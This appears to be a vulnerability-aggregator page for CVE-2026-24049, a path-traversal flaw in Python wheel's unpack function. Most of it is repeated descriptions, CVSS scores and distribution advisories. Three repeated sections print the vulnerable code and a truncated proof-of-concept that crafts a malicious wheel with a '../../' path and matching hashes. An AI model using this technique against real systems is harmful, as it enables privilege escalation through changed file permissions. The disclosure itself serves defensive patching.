CVE-2026-24049
wheel Allows Arbitrary File Permission Modification via Path Traversal
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.1
wheel Allows Arbitrary File Permission Modification via Path Traversal
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
CVE-2026-24049- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22, CWE-732, CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-4133
7.1
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
EUVD-2026-4133- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8rrh-rw8j-w5fx
7.1
Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack
Summary
- Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
- Root Cause Component: wheel.cli.unpack.unpack function.
- Affected Packages:
- wheel (Upstream source)
- setuptools (Downstream, vendors wheel)
- Severity: High (Allows modifying system file permissions).
Details
The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.
# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile
# (2) VULNERABILITY:
# The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
# If zinfo.filename contains "../", this targets files outside the destination.
permissions = zinfo.external_attr >> 16 & 0o777
destination.joinpath(zinfo.filename).chmod(permissions)
PoC
I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.
Prerequisites: pip install setuptools
Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.
import zipfile
import hashlib
import base64
import os
def urlsafe_b64encode(data):
"""
Helper function to encode data using URL-safe Base64 without padding.
Required by the Wheel file format specification.
"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')
def get_hash_and_size(data_bytes):
"""
Calculates SHA-256 hash and size of the data.
These values are required to construct a valid 'RECORD' file,
which is used by the 'wheel' library to verify integrity.
"""
digest = hashlib.sha256(data_bytes).digest()
hash_str = "sha256=" + urlsafe_b64encode(digest)
return hash_str, str(len(data_bytes))
def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")
# 1. Prepare Standard Metadata Content
# These are minimal required contents to make the wheel look legitimate.
wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
# 2. Define Malicious Payload (Path Traversal)
# The content doesn't matter, but the path does.
payload_content = b"PWNED by Path Traversal"
# [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
# The vulnerability allows 'chmod' to affect this path directly.
malicious_path = "../../poc_target.txt"
# 3. Calculate Hashes for Integrity Check Bypass
# The 'wheel' library verifies if the file hash matches the RECORD entry.
# To bypass this check, we calculate the correct hash for our malicious file.
wheel_hash, wheel_size = get_hash_and_size(wheel_content)
metadata_hash, metadata_size = get_hash_and_size(metadata_content)
payload_hash, payload_size = get_hash_and_size(payload_content)
# 4. Construct the 'RECORD' File
# The RECORD file lists all files in the wheel with their hashes.
# CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
# This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
record_lines = [
f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path
…
- Record
GHSA-8rrh-rw8j-w5fx- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
7.1
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
CVE-2026-24049- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Weakness
- CWE-22, CWE-732
- Updated
- 2026-11-02
OSVALPINE-CVE-2026-24049
5.5
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
ALPINE-CVE-2026-24049- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVBELL-CVE-2026-24049
5.5
- Record
BELL-CVE-2026-24049- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
Show 35 moreShow less
OSV
7.1
wheel Allows Arbitrary File Permission Modification via Path Traversal
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
CVE-2026-24049- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22, CWE-732
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-24049
5.5
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
DEBIAN-CVE-2026-24049- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVGHSA-8rrh-rw8j-w5fx
7.1
Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack
Summary
- Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
- Root Cause Component: wheel.cli.unpack.unpack function.
- Affected Packages:
- wheel (Upstream source)
- setuptools (Downstream, vendors wheel)
- Severity: High (Allows modifying system file permissions).
Details
The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.
# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile
# (2) VULNERABILITY:
# The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
# If zinfo.filename contains "../", this targets files outside the destination.
permissions = zinfo.external_attr >> 16 & 0o777
destination.joinpath(zinfo.filename).chmod(permissions)
PoC
I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.
Prerequisites: pip install setuptools
Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.
import zipfile
import hashlib
import base64
import os
def urlsafe_b64encode(data):
"""
Helper function to encode data using URL-safe Base64 without padding.
Required by the Wheel file format specification.
"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')
def get_hash_and_size(data_bytes):
"""
Calculates SHA-256 hash and size of the data.
These values are required to construct a valid 'RECORD' file,
which is used by the 'wheel' library to verify integrity.
"""
digest = hashlib.sha256(data_bytes).digest()
hash_str = "sha256=" + urlsafe_b64encode(digest)
return hash_str, str(len(data_bytes))
def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")
# 1. Prepare Standard Metadata Content
# These are minimal required contents to make the wheel look legitimate.
wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
# 2. Define Malicious Payload (Path Traversal)
# The content doesn't matter, but the path does.
payload_content = b"PWNED by Path Traversal"
# [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
# The vulnerability allows 'chmod' to affect this path directly.
malicious_path = "../../poc_target.txt"
# 3. Calculate Hashes for Integrity Check Bypass
# The 'wheel' library verifies if the file hash matches the RECORD entry.
# To bypass this check, we calculate the correct hash for our malicious file.
wheel_hash, wheel_size = get_hash_and_size(wheel_content)
metadata_hash, metadata_size = get_hash_and_size(metadata_content)
payload_hash, payload_size = get_hash_and_size(payload_content)
# 4. Construct the 'RECORD' File
# The RECORD file lists all files in the wheel with their hashes.
# CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
# This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
record_lines = [
f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path
…
- Record
GHSA-8rrh-rw8j-w5fx- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVOESA-2026-1279
7.1
python-wheel security update
A built-package format for Python. A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension. It is designed to contain all the files for a PEP 376 compatible install in a way that is very close to the on-disk format.
Security Fix(es):
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.(CVE-2026-24049)
- Record
OESA-2026-1279- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2026-1280
7.1
python-wheel security update
A built-package format for Python. A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension. It is designed to contain all the files for a PEP 376 compatible install in a way that is very close to the on-disk format.
Security Fix(es):
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.(CVE-2026-24049)
- Record
OESA-2026-1280- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2026-1281
7.1
python-wheel security update
A built-package format for Python. A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension. It is designed to contain all the files for a PEP 376 compatible install in a way that is very close to the on-disk format.
Security Fix(es):
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.(CVE-2026-24049)
- Record
OESA-2026-1281- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2026-1376
7.1
python-wheel security update
A built-package format for Python. A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension. It is designed to contain all the files for a PEP 376 compatible install in a way that is very close to the on-disk format.
Security Fix(es):
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.(CVE-2026-24049)
- Record
OESA-2026-1376- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-2047
7.1
Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack
Summary
- Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
- Root Cause Component: wheel.cli.unpack.unpack function.
- Affected Packages:
- wheel (Upstream source)
- setuptools (Downstream, vendors wheel)
- Severity: High (Allows modifying system file permissions).
Details
The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.
# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile
# (2) VULNERABILITY:
# The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
# If zinfo.filename contains "../", this targets files outside the destination.
permissions = zinfo.external_attr >> 16 & 0o777
destination.joinpath(zinfo.filename).chmod(permissions)
PoC
I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.
Prerequisites: pip install setuptools
Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.
import zipfile
import hashlib
import base64
import os
def urlsafe_b64encode(data):
"""
Helper function to encode data using URL-safe Base64 without padding.
Required by the Wheel file format specification.
"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')
def get_hash_and_size(data_bytes):
"""
Calculates SHA-256 hash and size of the data.
These values are required to construct a valid 'RECORD' file,
which is used by the 'wheel' library to verify integrity.
"""
digest = hashlib.sha256(data_bytes).digest()
hash_str = "sha256=" + urlsafe_b64encode(digest)
return hash_str, str(len(data_bytes))
def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")
# 1. Prepare Standard Metadata Content
# These are minimal required contents to make the wheel look legitimate.
wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
# 2. Define Malicious Payload (Path Traversal)
# The content doesn't matter, but the path does.
payload_content = b"PWNED by Path Traversal"
# [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
# The vulnerability allows 'chmod' to affect this path directly.
malicious_path = "../../poc_target.txt"
# 3. Calculate Hashes for Integrity Check Bypass
# The 'wheel' library verifies if the file hash matches the RECORD entry.
# To bypass this check, we calculate the correct hash for our malicious file.
wheel_hash, wheel_size = get_hash_and_size(wheel_content)
metadata_hash, metadata_size = get_hash_and_size(metadata_content)
payload_hash, payload_size = get_hash_and_size(payload_content)
# 4. Construct the 'RECORD' File
# The RECORD file lists all files in the wheel with their hashes.
# CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
# This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
record_lines = [
f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path
…
- Record
PYSEC-2026-2047- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:1902
7.1
Red Hat Security Advisory: python-wheel security update
- Record
RHSA-2026:1902- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:1939
7.1
Red Hat Security Advisory: python3.12-wheel security update
- Record
RHSA-2026:1939- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:2090
7.1
Red Hat Security Advisory: python3.12-wheel security update
- Record
RHSA-2026:2090- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:2710
7.1
Red Hat Security Advisory: python3.12-wheel security update
- Record
RHSA-2026:2710- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:2823
7.1
Red Hat Security Advisory: Updated discovery-cli release RPM versions 2.4.3
- Record
RHSA-2026:2823- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:2865
7.1
Red Hat Security Advisory: python-wheel security update
- Record
RHSA-2026:2865- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:2866
7.1
Red Hat Security Advisory: python3.12-wheel security update
- Record
RHSA-2026:2866- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:3958
8.5
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:3958- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:3959
8.5
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:3959- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:1902
7.1
Important: python-wheel security update
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:1902- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:1939
7.1
Important: python3.12-wheel security update
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:1939- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:2090
7.1
Important: python3.12-wheel security update
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:2090- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-24049
7.1
CVE-2026-24049 in setuptools - Patched by Root
Root has patched CVE-2026-24049 in the setuptools package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-24049- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-24049
7.1
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
UBUNTU-CVE-2026-24049- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVALSA-2026:1902 No score
Important: python-wheel security update
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:1902- Updated
- 2026-11-02
OSVALSA-2026:1939 No score
Important: python3.12-wheel security update
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:1939- Updated
- 2026-11-02
OSVALSA-2026:2090 No score
Important: python3.12-wheel security update
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking (CVE-2026-24049)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:2090- Updated
- 2026-11-02
OSVAZL-75192 No score
CVE-2026-24049 affecting package python-virtualenv 20.26.6-2
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
AZL-75192- Updated
- 2026-11-02
OSVAZL-75195 No score
CVE-2026-24049 affecting package python-wheel for versions less than 0.43.0-2
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
AZL-75195- Updated
- 2026-11-05
OSVAZL-77826 No score
CVE-2026-24049 affecting package python-virtualenv for versions less than 20.36.1-2
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
- Record
AZL-77826- Updated
- 2026-11-05
OSVopenSUSE-SU-2026:10151-1 No score
python311-wheel-0.46.3-1.1 on GA media
These are all security issues fixed in the python311-wheel-0.46.3-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10151-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20147-1 No score
Security update for python-wheel
This update for python-wheel fixes the following issues:
- CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).
- Record
openSUSE-SU-2026:20147-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:0424-1 No score
Security update for python-wheel
This update for python-wheel fixes the following issues:
- CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).
- Record
SUSE-SU-2026:0424-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:0425-1 No score
Security update for python313-wheel
This update for python313-wheel fixes the following issues:
- CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).
- Record
SUSE-SU-2026:0425-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:0460-1 No score
Security update for python-wheel
This update for python-wheel fixes the following issues:
- CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).
- Record
SUSE-SU-2026:0460-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:20217-1 No score
Security update for python-wheel
This update for python-wheel fixes the following issues:
- CVE-2026-24049: Fixed absent path sanitization can cause arbitrary file permission modification (bsc#1257100).
- Record
SUSE-SU-2026:20217-1- Updated
- 2026-11-02
OSVUSN-8221-1 No score
wheel vulnerability
It was discovered that wheel did not correctly handle certain file paths. If a user or automated system were tricked into opening a specially crafted file, an attacker could possibly use this issue to execute arbitrary code.
- Record
USN-8221-1- Updated
- 2026-11-02
